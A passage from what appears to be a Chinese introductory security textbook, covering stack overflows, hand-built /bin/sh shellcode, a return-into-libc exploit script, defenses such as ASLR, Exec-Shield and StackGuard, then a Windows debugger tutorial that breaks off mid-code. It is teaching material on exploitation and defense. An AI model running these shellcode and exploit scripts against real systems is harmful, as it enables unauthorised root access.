    {"text": "▼ 运行示例 $ gdb sample3 GNU gdb 6.1.1 [FreeBSD] (gdb) disas cpy 反汇编cpy Dump of assembler code for function cpy: 0x08048540 <cpy+0>: push %ebp 0x08048541 <cpy+1>: mov %esp,%ebp 0x08048543 <cpy+3>: sub $0x48,%esp 省略 0x080485b0 <cpy+112>: mov %eax,(%esp) 0x080485b3 <cpy+115>: call 0x80483ec <_init+116> 0x080485b8 <cpy+120>: mov $0x0,%eax 0x080485bd <cpy+125>: leave 0x080485be <cpy+126>: ret 返回到调用该函数的位置 0x080485bf <cpy+127>: nop End of assembler dump. (gdb) b *0x080485be 调用返回前设置断点 Breakpoint 1 at 0x80485be (gdb) b cpy 在cpy开头设置断点 Breakpoint 2 at 0x8048546 (gdb) r \"\\`python -c 'print \"A\"*80'\\`\" 运行 Starting program: /usr/home/guest/sample3 \"`python -c 'print \"A\"*80'`\" (no debugging symbols found)... (no debugging symbols found)... Breakpoint 2, 0x08048546 in cpy () (gdb) x/8x $ebp 确认%ebp、ret_addr和参数 0xbfbfebf8: 0xbfbfec08 0x080485e1 0xbfbfedb0 0xbfbfec20 0xbfbfec08: 0xbfbfec38 0x080484b7 0x00000000 0x00000000 (gdb) x/1s 0xbfbfedb0 0xbfbfedb0: 'A' <repeats 80 times> (gdb) c 继续运行 Continuing. 0xbfbfebb8 Breakpoint 1, 0x080485be in cpy () (gdb) x/8x $esp ret_addr被改写为0x41414141 0xbfbfebfc: 0x41414141 0x41414141 0x41414141 0xbfbfec00 0xbfbfec0c: 0x080484b7 0x00000000 0x00000000 0xbfbfec38 (gdb) si 0x41414141 in ?? () 这里的要点在于以下几点。"},
    {"text": "0xbfbfebf8 的值为 %ebp 0xbfbfebfc 的值为 ret_addr 后面是传递给函数的参数 sample3 的 cpy 函数只有一个 str 参数，因此它的位置紧挨着 ret_addr。"},
    {"text": "0xbfbfebfc 的值被改写为 0x41414141，因此当程序运行到 0x080485be 的 ret 指令时，就会跳转到 0x41414141 这个地址，导致 Segmentation fault。"},
    {"text": "攻击者要执行的代码叫作 shellcode。 因为一般来说，只要启动了 /bin/sh，攻击者就能够完全控制计算机，因此 shellcode 指的就是一段非常短小的机器语言代码，它的功能就是启动 /bin/sh。 下面就是一段能够启动 /bin/sh 的程序。"},
    {"text": "▼ sample5.c #include <unistd.h> int main(void) { char *data[2]; char sh[] = \"/bin/sh\"; data[0] = sh; data[1] = NULL; execve(sh, data, NULL); return 0; } 我们先声明一个 char 型的指针数组，然后在 data[0] 中存入 /bin/sh 字符串的指针，在 data[1] 中存入 NULL。"},
    {"text": "/bin/sh 字符串的指针 包含传递给程序的参数在内的数组的地址 环境变量 这里环境变量不是必需的，因此我们将其设为 NULL。 /bin/sh 不需要参数，因此 data 中只存放了 /bin/sh 字符串的指针。"},
    {"text": "▼ 运行示例 $ su Password: # gcc -Wall -static sample5.c -o sample5 # chmod 4755 sample5 # exit exit $ ./sample5 # whoami root 由于 sample5 是采用静态链接编译的，因此 execve 本身也位于可执行文件内部。"},
    {"text": "用 gdb 对 execve 进行反汇编，我们可以发现其中调用了 int $0x80。 ▼ 运行示例 $ gdb sample5 GNU gdb 6.1.1 [FreeBSD] (gdb) disas execve Dump of assembler code for function execve: 0x080484f4 <execve+0>: mov $0x3b,%eax 0x080484f9 <execve+5>: int $0x80 系统调用 0x080484fb <execve+7>: jb 0x80484ec <_set_tp+12> 0x080484fd <execve+9>: ret End of assembler dump. (gdb) int $0x80 是一个系统调用。"},
    {"text": "▼ /usr/include/sys/syscall.h /* * System call numbers. * * DO NOT EDIT-- this file is automatically generated. */ #define SYS_syscall 0 #define SYS_exit 1 #define SYS_fork 2 #define SYS_read 3 #define SYS_write 4 #define SYS_open 5 省略 #define SYS_ioctl 54 #define SYS_reboot 55 #define SYS_revoke 56 #define SYS_symlink 57 #define SYS_readlink 58 #define SYS_execve 59 59 -> 0x3b #define SYS_umask 60 #define SYS_chroot 61 系统调用的编号如下。"},
    {"text": "▼ /usr/src/linux/include/asm/unistd.h #ifndef _ASM_I386_UNISTD_H_ #define _ASM_I386_UNISTD_H_ /* * This file contains the system call numbers. */ #define __NR_exit 1 #define __NR_fork 2 #define __NR_read 3 省略 #define __NR_execve 11 在 Linux 中，execve 的编号为 11。"},
    {"text": "由于系统调用的编号在各个环境中是不同的，因此在制作 shellcode 的时候需要特别注意。 换句话说，每一种操作系统上的 shellcode 都各不相同，因此需要为每种环境都制作相应的 shellcode（当然，第 5 章我们会介绍 Metasploit 工具，通过它可以自动生成 shellcode）。"},
    {"text": "▼ 运行示例 $ gdb sample5 GNU gdb 6.1.1 [FreeBSD] (gdb) disas main Dump of assembler code for function main: 0x08048210 <main+0>: lea 0x4(%esp),%ecx 0x08048214 <main+4>: and $0xfffffff0,%esp 0x08048217 <main+7>: pushl 0xfffffffc(%ecx) 0x0804821a <main+10>: push %ebp 0x0804821b <main+11>: mov %esp,%ebp 0x0804821d <main+13>: push %ecx 0x0804821e <main+14>: sub $0x24,%esp 0x08048221 <main+17>: mov 0x806cdd8,%eax 0x08048226 <main+22>: mov 0x806cddc,%edx 0x0804822c <main+28>: mov %eax,0xffffffec(%ebp) 0x0804822f <main+31>: mov %edx,0xfffffff0(%ebp) 0x08048232 <main+34>: lea 0xffffffec(%ebp),%eax 0x08048235 <main+37>: mov %eax,0xfffffff4(%ebp) 0x08048238 <main+40>: movl $0x0,0xfffffff8(%ebp) 0x0804823f <main+47>: movl $0x0,0x8(%esp) 第3参数 0x08048247 <main+55>: lea 0xfffffff4(%ebp),%eax 0x0804824a <main+58>: mov %eax,0x4(%esp) 第2参数 0x0804824e <main+62>: lea 0xffffffec(%ebp),%eax 0x08048251 <main+65>: mov %eax,(%esp) 第1参数 0x08048254 <main+68>: call 0x80484f4 <execve> 调用execve 0x08048259 <main+73>: mov $0x0,%eax 0x0804825e <main+78>: add $0x24,%esp 0x08048261 <main+81>: pop %ecx 0x08048262 <main+82>: pop %ebp 0x08048263 <main+83>: lea 0xfffffffc(%ecx),%esp 0x08048266 <main+86>: ret (gdb) b *0x08048254 Breakpoint 1 at 0x8048254 (gdb) r Starting program: /usr/home/guest/sample5 Breakpoint 1, 0x08048254 in main () (gdb) x/8x $esp 确认execve的参数 0xbfbfec40: 0xbfbfec54 0xbfbfec5c 0x00000000 0x00000001 0xbfbfec50: 0x00000025 0x6e69622f 0x0068732f 0xbfbfec54 (gdb) x/1s 0xbfbfec54 sh = \"/bin/sh\" 0xbfbfec54: \"/bin/sh\" (gdb) x/2x 0xbfbfec5c data 0xbfbfec5c: 0xbfbfec54 data[0] = \"/bin/sh\" 0x00000000 data[1] = NULL 我们在调用 execve 的地方（0x08048254）设置断点，确认一下此时的内存状态。"},
    {"text": "第 1 参数：0xbfbfec54（/bin/sh 的地址） 第 2 参数：0xbfbfec5c（/bin/sh 的地址以及内容为 NULL 的数组） 第 3 参数：0x00000000（NULL） 现在我们已经按照 sample5.c 所设计的样子将数据排列好了。"},
    {"text": "0xbfbfec4c 和 0xbfbfec50 的值与 execve 的调用无关，因此我们可以将它们删掉，于是我们便得到了一段最低限度的内存配置，如下所示。"},
    {"text": "▲ 运行结果 接下来，我们来编写一段汇编语言程序，将上述数据写入栈当前 esp 以后的位置，并调用 execve。 下面的 sample6.s 会向栈中写入调用 execve 所需的数据，然后执行 int $0x80。"},
    {"text": "▼ sample6.s .globl main main: xorl %eax, %eax pushl %eax data[1]（NULL） movl %esp, %eax subl $0x0c,%eax pushl %eax data[0]（/bin/sh的地址） movl %esp, %ebx pushl $0x0068732f 字符串”/sh\\0” pushl $0x6e69622f 字符串”/bin” movl %esp, %edx xorl %eax, %eax pushl %eax 第3参数 pushl %ebx 第2参数 pushl %edx 第1参数 pushl %eax call的返回地址（可以为任意值） movb $0x3b, %al int $0x80 下面我们用 objdump 将上面的代码转换为机器语言。 ▼ 运行示例 $ gcc -Wall sample6.s -o sample6 $ objdump -d sample6|grep \\<main\\>\\: -A 16 080483c4 <main>: 80483c4: 31 c0 xor %eax,%eax 80483c6: 50 push %eax 80483c7: 89 e0 mov %esp,%eax 80483c9: 83 e8 0c sub $0xc,%eax 80483cc: 50 push %eax 80483cd: 89 e3 mov %esp,%ebx 80483cf: 68 2f 73 68 00 push $0x68732f 80483d4: 68 2f 62 69 6e push $0x6e69622f 80483d9: 89 e2 mov %esp,%edx 80483db: 31 c0 xor %eax,%eax 80483dd: 50 push %eax 80483de: 53 push %ebx 80483df: 52 push %edx 80483e0: 50 push %eax 80483e1: b0 3b mov $0x3b,%al 80483e3: cd 80 int $0x80 然后我们需要确认一下这段机器语言代码到底能不能发挥 shellcode 的功能。"},
    {"text": "▼ sample7.c unsigned char shellcode[] = { 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x89, 0xe0, // mov %esp, %eax 0x83, 0xe8, 0x0c, // sub $0x0c, %eax 0x50, // push %eax 0x89, 0xe3, // mov %esp, %ebx 0x68, 0x2f, 0x73, 0x68, 0x00, // push $0x68732f 0x68, 0x2f, 0x62, 0x69, 0x6e, // push $0x6e69622f 0x89, 0xe2, // mov %esp, %edx 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x53, // push %ebx 0x52, // push %edx 0x50, // push %eax 0xb0, 0x3b, // mov $0x3b, %al 0xcd, 0x80, // int $0x80 }; int main(void) { void (*p)(void); p = (void(*)())shellcode; p(); return 0; } ▼ 运行示例 $ su Password: # gcc sample7.c -o sample7 # chmod 4755 sample7 # exit exit $ ./sample7 # whoami root 看来我们的 shellcode 成功了。"},
    {"text": "80483cf: 68 2f 73 68 00 push $0x68732f 80483d4: 68 2f 62 69 6e push $0x6e69622f 这个问题有很多种解决方法，一般来说会采用下面的方法。"},
    {"text": "因此，我们可以将 /sh\\0 改为 //sh，这样就成功消灭了 push 里面的 0x00。 然后，我们可以用 xor 和 push 相结合的方法 2 ，向栈中放入一个 0x00 作为字符串结尾的标志，这样我们就能够在整段代码中避免出现 0x00 了。"},
    {"text": "——译者注 ▼ sample8.s .globl main main: xorl %eax, %eax pushl %eax movl %esp, %eax subl $0x10, %eax pushl %eax movl %esp, %ebx xorl %eax, %eax pushl %eax push 0x00000000 pushl $0x68732f2f push字符串\"//sh\" pushl $0x6e69622f push字符串\"/bin\" movl %esp, %edx xorl %eax, %eax pushl %eax pushl %ebx pushl %edx pushl %eax movb $0x3b, %al int $0x80 ▼ 运行示例 $ gcc -Wall sample8.s -o sample8 $ objdump -d sample8|grep \\<main\\>\\: -A 18 08048404 <main>: 8048404: 31 c0 xor %eax,%eax 8048406: 50 push %eax 8048407: 89 e0 mov %esp,%eax 8048409: 83 e8 10 sub $0x10,%eax 804840c: 50 push %eax 804840d: 89 e3 mov %esp,%ebx 804840f: 31 c0 xor %eax,%eax 8048411: 50 push %eax 8048412: 68 2f 2f 73 68 push $0x68732f2f 8048417: 68 2f 62 69 6e push $0x6e69622f 804841c: 89 e2 mov %esp, %edx 804841e: 31 c0 xor %eax,%eax 8048420: 50 push %eax 8048421: 53 push %ebx 8048422: 52 push %edx 8048423: 50 push %eax 8048424: b0 3b mov $0x3b,%al 8048426: cd 80 int $0x80 ▼ sample9.c unsigned char shellcode[] = { 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x89, 0xe0, // mov %esp, %eax 0x83, 0xe8, 0x10, // sub $0x10, %eax 0x50, // push %eax 0x89, 0xe3, // mov %esp, %ebx 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x68, 0x2f, 0x2f, 0x73, 0x68, // push $0x68732f2f 0x68, 0x2f, 0x62, 0x69, 0x6e, // push $0x6e69622f 0x89, 0xe2, // mov %esp, %edx 0x31, 0xc0, // xor %eax, %eax 0x50, // push %eax 0x53, // push %ebx 0x52, // push %edx 0x50, // push %eax 0xb0, 0x3b, // mov $0x3b, %al 0xcd, 0x80, // int $0x80 }; int main(void) { void (*p)(void); p = (void(*)())shellcode; p(); return 0; } ▼ 运行示例 $ su Password: # gcc sample9.c -o sample9 # chmod 4755 sample9 # exit exit $ ./sample9 # whoami root 这样我们的 shellcode 就完成了，可以在 exploit.py 中使用它了。"},
    {"text": "▼ 运行示例 $ gdb sample3 GNU gdb 6.1.1 [FreeBSD] (gdb) b *0x080485be 在cpy函数结尾的ret指令处设置断点 Breakpoint 1 at 0x80485be (gdb) r \"`python exploit.py bfbfebc8`\" Starting program: /usr/home/guest/sample3 \"`python exploit.py bfbfebc8`\" (no debugging symbols found)... (no debugging symbols found)... 0xbfbfebc8 Breakpoint 1, 0x080485be in cpy () (gdb) x/8x $esp 显示返回目标地址 0xbfbfec0c: 0xbfbfebc8 0xbfbfed00 0xbfbfec30 0xbfbfec48 0xbfbfec1c: 0x080484b7 0x00000000 0x00000000 0xbfbfec48 (gdb) x/24i 0xbfbfebc8 将返回目标地址处的指令进行反汇编 0xbfbfebc8: xor %eax,%eax 0xbfbfebca: push %eax 0xbfbfebcb: mov %esp,%eax 0xbfbfebcd: sub $0x10,%eax 0xbfbfebd0: push %eax 0xbfbfebd1: mov %esp,%ebx 0xbfbfebd3: xor %eax,%eax 0xbfbfebd5: push %eax 0xbfbfebd6: push $0x68732f2f 0xbfbfebdb: push $0x6e69622f 0xbfbfebe0: mov %esp,%edx 0xbfbfebe2: xor %eax,%eax 0xbfbfebe4: push %eax 0xbfbfebe5: push %ebx 0xbfbfebe6: push %edx 0xbfbfebe7: push %eax 0xbfbfebe8: mov $0x3b,%al 0xbfbfebea: int $0x80 我们发现函数的返回目标地址已经变成了我们的 shellcode。"},
    {"text": "不过，栈的大致位置是可以推测出来的，因此我们可以尽量在内存空间中填充 NOP（0x90）指令，然后将 shellcode 放在最后，这样就可以提高 shellcode 被执行的概率。"},
    {"text": "#include <stdio.h> void main(int argc, char *argv[]) { printf(argv[1]); 具体的原理我们在这里先省略，简单来说，printf 类函数中，有一个特殊的格式转换符 %n，它可以向参数中指针所指的位置写入当前已输出的数据长度。"},
    {"text": "3.2 防御攻击的技术 3.2.1 地址随机化：ASLR 我们很难消灭所有程序中的漏洞，不过像缓冲区溢出这种比较常见的漏洞，是否能通过操作系统和编译器的安全机制来应对呢？"},
    {"text": "首先我们来看看 ASLR（Address Space Layout Randomization，地址空间布局随机化）。 ASLR 是一种对栈、模块、动态分配的内存空间等的地址（位置）进行随机配置的机制。"},
    {"text": "▼ 运行示例 # cat /proc/sys/kernel/randomize_va_space 2 启用：默认 # echo 0 > /proc/sys/kernel/randomize_va_space # cat /proc/sys/kernel/randomize_va_space 0 禁用 用 cat 命令查看 randomize_va_space 的值，输出的结果可能是 0、1 或者 2。"},
    {"text": "▼ test00.c #include <stdio.h> #include <stdlib.h> unsigned long get_sp(void) { __asm__(\"movl %esp, %eax\"); } int main(void) { printf(\"malloc: %p\\n\", malloc(16)); printf(\" stack: 0x%lx\\n\", get_sp()); return 0; } 在启用 ASLR 的状态下，反复运行这个程序，我们会发现每次显示的地址都不同。 ▼ 运行示例 $ gcc test00.c -o test00 $ ./test00 malloc: 0x886e008 第1次：堆 stack: 0xbff775f8 栈 $ ./test00 malloc: 0x86f7008 第2次：堆 stack: 0xbfe34dc8 栈 $ ./test00 malloc: 0x940e008 第3次：堆 stack: 0xbffc45b8 栈 如果地址布局无法推测出来，我们也就无法知道 shellcode 的具体地址了。"},
    {"text": "▼ 运行示例 $ sudo su [sudo] password for guest: # echo 0 > /proc/sys/kernel/randomize_va_space # exit exit $ ./test00 malloc: 0x804b008 第1次：堆 stack: 0xbffff768 栈 $ ./test00 malloc: 0x804b008 第1次：堆 stack: 0xbffff768 栈 $ ./test00 malloc: 0x804b008 第1次：堆 stack: 0xbffff768 栈 关闭 ASLR 后，我们发现无论运行多少次，显示出的地址都是完全相同的。"},
    {"text": "▼ 运行示例 $ ./test01 `python exploit.py \"bffff720\"` aaaabbbbccccdddd 0xbffff710 相同 Illegal instruction $ ./test01 `python exploit.py \"bffff710\"` aaaabbbbccccdddd 0xbffff710 相同 # whoami root # echo 2 > /proc/sys/kernel/randomize_va_space # exit exit $ ./test01 `python exploit.py \"bffff710\"` aaaabbbbccccdddd 0xbf91c5d0 不同 Segmentation fault $ ./test01 `python exploit.py \"bf91c5d0\"` aaaabbbbccccdddd 0xbfbde6d0 不同 Segmentation fault 当启用 ASLR 时，test01 所显示的地址每次都不同，因此，我们无法将正确的地址传递给 exploit.py，也就无法成功夺取系统权限了。"},
    {"text": "3.2.2 除存放可执行代码的内存空间以外，对其余内存空间尽量禁用执行权限：Exec-Shield Exec-Shield 是一种通过“限制内存空间的读写和执行权限”来防御攻击的机制。 举个例子，通常情况下我们不会在用作栈的内存空间里存放可执行的机器语言代码，因此我们可以将栈空间的权限设为可读写但不可执行。 反过来说，在代码区域中存放的机器语言代码，通常情况下也不需要在运行时进行改写，因此我们可以将这部分内存的权限设置为不可写入。"},
    {"text": "▼ 运行示例 # ps -aef | grep test02 root 1035 786 0 08:36 pts/0 00:00:00 ./test02 guest 1037 937 0 08:36 pts/1 00:00:00 grep --color=auto test02 # cat /proc/1035/maps | grep stack bfdcc000-bfded000 rw-p 00000000 00:00 0 [stack] test02 是 test01 加上 Exec-Shield 之后的版本，其中栈空间为 bfdcc000 ～ bfded000，我们可以看到它的权限为 rw-p，没有代表执行权限的 x。"},
    {"text": "▼ 运行示例 $ ./test02 `python exploit.py \"bffff710\"` aaaabbbbccccdddd 0xbffff710 Segmentation fault 尽管输入的地址和输出的地址一致，但攻击还是失败了。"},
    {"text": "3.2.3 在编译时插入检测栈数据完整性的代码：StackGuard StackGuard 是一种在编译时在各函数入口和出口插入用于检测栈数据完整性的机器语言代码的方法，它属于编译器的安全机制。"},
    {"text": "▼ 运行示例 $ ./test03 `python -c 'print \"A\"*100'` 0xbfb8ea40 *** stack smashing detected ***: ./test03 terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0xb766d0e5] /lib/i386-linux-gnu/libc.so.6(+0x10409a)[0xb766d09a] ./test03[0x8048515] [0x41414141] ======= Memory map: ======== 08048000-08049000 r-xp 00000000 08:01 1061 /home/guest/test03 08049000-0804a000 r-xp 00000000 08:01 1061 /home/guest/test03 0804a000-0804b000 rwxp 00001000 08:01 1061 /home/guest/test03 08352000-08373000 rwxp 00000000 00:00 0 [heap] 省略 bfb6f000-bfb90000 rwxp 00000000 00:00 0 [stack] Aborted 在启用 ASLR 或 Exec-Shield 时，上述程序会产生 Segmentation fault，但 StackGuard 则是让 test03 检测自身的异常，并主动停止运行。 test03 具有栈缓冲区溢出的漏洞，当栈内数据发生溢出时，StackGuard 代码能够检测到这一情况，并显示 stack smashing detected 消息，强制终止程序运行。 我们看一下 test03.s 的代码，就能够找到编译器添加的 StackGuard 代码。"},
    {"text": "▼ test03.s main: pushl %ebp movl %esp, %ebp andl $-16, %esp subl $64, %esp movl 12(%ebp), %eax movl %eax, 28(%esp) movl %gs:20, %eax 每次运行时%gs:20中都会存入一个随机数 movl %eax, 60(%esp) 将随机值添加到栈的最后 xorl %eax, %eax call get_sp movl $.LC0, %edx movl %eax, 4(%esp) movl %edx, (%esp) call printf call getchar movl 28(%esp), %eax addl $4, %eax movl (%eax), %eax movl %eax, 4(%esp) leal 44(%esp), %eax movl %eax, (%esp) call strcpy movl $0, %eax movl 60(%esp), %edx 将栈的最后一个值 xorl %gs:20, %edx 与%gs:20进行对比 je .L5 如果一致则跳转到.L5 call __stack_chk_fail 否则跳转到强制终止代码 .L5: leave ret %gs:20 在每次程序运行时都会存入一个随机数，将这个随机数复制到函数所使用的栈空间的最后。"},
    {"text": "3.3 绕开安全机制的技术 3.3.1 使用 libc 中的函数来进行攻击：Return-into-libc ASLR、Exec-Shield、StackGuard 等安全机制大大提高了系统的安全性，然而这也并不代表所有的安全漏洞都已经被彻底清除了。"},
    {"text": "Return-into-libc 是一种破解 Exec-Shield 的方法，它的思路是“即便无法执行任意代码（shellcode），最终只要能够运行任意程序，也可以夺取系统权限”。 Return-into-libc 的基本原理是通过调整参数和栈的配置，使得程序能够跳转到 libc.so 中的 system 函数以及 exec 类函数，借此来运行 /bin/sh 等程序。"},
    {"text": "▼ 运行示例 $ ldd /bin/sh linux-gate.so.1 => (0xb774e000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb759e000) /lib/ld-linux.so.2 (0xb774f000) 几乎所有的程序在运行时都会加载 libc.so，或者是在编译时进行静态链接。"},
    {"text": "▼ 运行示例 $ gdb test02 GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04 (gdb) b main Breakpoint 1 at 0x8048461 (gdb) r Starting program: /home/guest/test02 Breakpoint 1, 0x08048461 in main () (gdb) p system $1 = {<text variable, no debug info>} 0xb7e6c430 <system> (gdb) p exit $2 = {<text variable, no debug info>} 0xb7e5ffb0 <exit> (gdb) 这样我们就得到了 system 和 exit 的地址。"},
    {"text": "这次我们不需要将返回地址改成位于栈中的 shellcode 地址，而是改成 system 函数的入口地址，将 system 函数的返回目标设为 exit，并将 /bin/sh 的地址作为参数传递过去。"},
    {"text": "▼ exploit2.py #!/usr/bin/python import sys from struct import * if len(sys.argv) != 2: addr = 0x41414141 else: addr = int(sys.argv[1], 16) + 0x08 fsystem = int(\"b7e6c430\", 16) fexit = int(\"b7e5ffb0\", 16) data = \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" data += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" data += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90\\x90\" data += \"\\x90\\x90\\x90\\x90\\x90\\x90\\x90c x90\" data += pack('<L', fsystem) data += pack('<L', fexit) data += pack('<L', addr) data += \"/bin/sh\" sys.stdout.write(data) ▼ 运行示例 $ ./test02 `python exploit2.py bffff740` 0xbffff740 # whoami root # exit 在这个例子中，我们用 system 函数代替了 shellcode。"},
    {"text": "关于 ROP 的详细内容，我也很想介绍给大家，然而这是一种比较新的技术，在这本入门书中不便深入，因此本章中对攻击技术的介绍暂且到此为止。"},
    {"text": "专栏：计算机安全为什么会变成猫鼠游戏 在 IT 业界，安全是一个比较特殊的领域，这是因为在安全领域，我们一定能够找到一个明确而具体的“敌人”，例如攻击服务器的黑客以及制作恶意软件来牟利的人。"},
    {"text": "4.1 通过自制调试器来理解其原理 4.1.1 亲手做一个简单的调试器，在实践中学习 首先让我们来亲手制作一个简单的调试器，通过实践来学习一些基本知识，以便今后能够更加熟练地运用调试工具。"},
    {"text": "计算器也好，计算机也好，它们都是为了高效达成某种目的而使用的工具，使用工具并不一定会让工作变得有趣，但制作一种工具毫无疑问将会为你带来很多乐趣。"},
    {"text": "▼ wdbg01a.cpp #include \"stdafx.h\" int _tmain(int argc, _TCHAR* argv[]) { PROCESS_INFORMATION pi; STARTUPINFO si; if(argc < 2){ fprintf(stderr, \"C:\\\\>%s <sample.exe>\\n\", argv[0]); return 1; } memset(&pi, 0, sizeof(pi)); memset(&si, 0, sizeof(si)); si.cb = sizeof(STARTUPINFO); BOOL r = CreateProcess( NULL, argv[1], NULL, NULL, FALSE, NORMAL_PRIORITY_CLASS | CREATE_SUSPENDED | DEBUG_PROCESS, NULL, NULL, &si, &pi); if(!r) return -1; ResumeThread(pi.hThread); while(1) { DEBUG_EVENT de; if(!WaitForDebugEvent(&de, INFINITE)) break; DWORD dwContinueStatus = DBG_CONTINUE; switch(de.dwDebugEventCode) { case CREATE_PROCESS_DEBUG_EVENT: printf(\"CREATE_PROCESS_DEBUG_EVENT\\n\"); break; case CREATE_THREAD_DEBUG_EVENT: printf(\"CREATE_THREAD_DEBUG_EVENT\\n\"); break; case EXIT_THREAD_DEBUG_EVENT: printf(\"EXIT_THREAD_DEBUG_EVENT\\n\"); break; case EXIT_PROCESS_DEBUG_EVENT: printf(\"EXIT_PROCESS_DEBUG_EVENT\\n\"); break; case EXCEPTION_DEBUG_EVENT: DWORD r = de.u.Exception.ExceptionRecord.ExceptionCode; if(r != EXCEPTION_BREAKPOINT) dwContinueStatus = DBG_EXCEPTION_NOT_HANDLED; printf(\"EXCEPTION_DEBUG_EVENT\\n\"); break; case OUTPUT_DEBUG_STRING_EVENT: printf(\"OUTPUT_DEBUG_STRING_EVENT\\n\"); break; case RIP_EVENT: printf(\"RIP_EVENT\\n\"); break; case LOAD_DLL_DEBUG_EVENT: printf(\"LOAD_DLL_DEBUG_EVENT\\n\"); break; case UNLOAD_DLL_DEBUG_EVENT: printf(\"UNLOAD_DLL_DEBUG_EVENT\\n\"); break; } if(de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) break; ContinueDebugEvent( de.dwProcessId, de.dwThreadId, dwContinueStatus); } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); return 0; } 首先，程序通过 CreateProcess 函数启动调试目标进程。"},
    {"text": "DEBUG_PROCESS 标志 调试对象所产生的子进程，以及子进程的子进程都作为调试对象 DEBUG_ONLY_THIS_PROCESS 只将通过 CreateProcess 启动的那一个进程作为调试对象 CreateProcess 函数的第 1 参数或者第 2 参数可用于传递目标程序的路径，然后便可启动进程。"},
    {"text": "▼ CreateProcess 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms682425.aspx BOOL CreateProcess( LPCTSTR lpApplicationName, // 可执行模块名称 LPTSTR lpCommandLine, // 命令行字符串 LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles, // 句柄继承选项 DWORD dwCreationFlags, // 创建标志 LPVOID lpEnvironment, // 新进程的环境变量块 LPCTSTR lpCurrentDirectory, // 当前路径 LPSTARTUPINFO lpStartupInfo, // 启动信息 LPPROCESS_INFORMATION lpProcessInformation // 进程信息 ); 通过 CREATE_SUSPENDED 标志可以让进程在启动后进入挂起状态。"},
    {"text": "在这个示例程序中，我们没有进行任何操作而是直接调用了 ResumeThread 函数，这时调试对象的所有线程就会恢复运行。 ▼ ResumeThread 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms685086.aspx DWORD ResumeThread( HANDLE hThread // 线程句柄 ); 当调试对象程序开始运行后，调试器就开始等待捕捉异常。"},
    {"text": "调试事件会通过 WaitForDebugEvent 函数来进行接收。 ▼ WaitForDebugEvent 函数 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681423.aspx BOOL WaitForDebugEvent( // 保存调试事件信息的结构体指针 LPDEBUG_EVENT lpDebugEvent, // 事件等待时间（毫秒） DWORD dwMilliseconds ); WaitForDebugEvent 函数的第 1 参数传递了一个 DEBUG_EVENT 结构体，捕捉到的调试事件会被存放在这个结构体中，第 2 参数 dwMilliseconds 如果设置为 INFINITE 则表示一直等待。"},
    {"text": "▼ DEBUG_EVENT 结构体 // https://msdn.microsoft.com/en-us/library/windows/desktop/ms679308.aspx typedef struct _DEBUG_EVENT { DWORD dwDebugEventCode; DWORD dwProcessId; DWORD dwThreadId; union { EXCEPTION_DEBUG_INFO Exception; CREATE_THREAD_DEBUG_INFO CreateThread; CREATE_PROCESS_DEBUG_INFO CreateProcessInfo; EXIT_THREAD_DEBUG_INFO ExitThread; EXIT_PROCESS_DEBUG_INFO ExitProcess; LOAD_DLL_DEBUG_INFO LoadDll; UNLOAD_DLL_DEBUG_INFO UnloadDll; OUTPUT_DEBUG_STRING_INFO DebugString; RIP_INFO RipInfo; } u; } DEBUG_EVENT, *LPDEBUG_EVENT; 其中第一个成员 dwDebugEventCode 代表调试事件编号。"},
    {"text": "调试事件 含义 EXCEPTION_DEBUG_EVENT 发生异常 CREATE_THREAD_DEBUG_EVENT 创建线程 CREATE_PROCESS_DEBUG_EVENT 创建进程 EXIT_THREAD_DEBUG_EVENT 线程结束 EXIT_PROCESS_DEBUG_EVENT 进程结束 LOAD_DLL_DEBUG_EVENT 加载 DLL UNLOAD_DLL_DEBUG_EVENT 卸载 DLL OUTPUT_DEBUG_STRING_EVENT 调用 OutputDebugString 函数 RIP_EVENT 发生系统调试错误 wdbg01a.cpp 中，当接收到调试事件时，会使用 printf 函数将事件的内容显示出来。"},
    {"text": "▼ 运行示例 C:\\>wdbg01a.exe \"C:\\Program Files\\Internet Explorer\\iexplore.exe\" ▲ 运行结果 大家可以看到，创建进程、线程以及加载、卸载 DLL 等事件都被调试器捕捉到了。"},
    {"text": "我们希望在发生异常时，能够显示出发生异常的地址以及当前寄存器的值。 同时，我们还希望显示发生异常时所执行的指令，因此下面我们来实现反汇编功能。"},
    {"text": "https://github.com/vmt/udis86 （原始） https://github.com/kenjiaiko/udis86 ▼ wdbg02a.cpp #include \"stdafx.h\" #include <Windows.h> #include \"udis86.h\" #pragma comment(lib, \"libudis86.lib\") int disas(unsigned char *buff, char *out, int size) { ud_t ud_obj; ud_init(&ud_obj); ud_set_input_buffer(&ud_obj, buff, 32); ud_set_mode(&ud_obj, 32); ud_set_syntax(&ud_obj, UD_SYN_INTEL); if(ud_disassemble(&ud_obj)){ sprintf_s(out, size, \"%14s %s\", ud_insn_hex(&ud_obj), ud_insn_asm(&ud_obj)); }else{ return -1; } return (int)ud_insn_len(&ud_obj); } int exception_debug_event(DEBUG_EVENT *pde) { DWORD dwReadBytes; HANDLE ph = OpenProcess( PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION, FALSE, pde->dwProcessId); if(!ph) return -1; HANDLE th = OpenThread(THREAD_GET_CONTEXT | THREAD_SET_CONTEXT, FALSE, pde->dwThreadId); if(!th) return -1; CONTEXT ctx; ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(th, &ctx); char asm_string[256]; unsigned char asm_code[32]; ReadProcessMemory(ph, (VOID *)ctx.Eip, asm_code, 32, &dwReadBytes); if(disas(asm_code, asm_string, sizeof(asm_string)) == -1) asm_string[0] = '\\0'; printf(\"Exception: %08x (PID:%d, 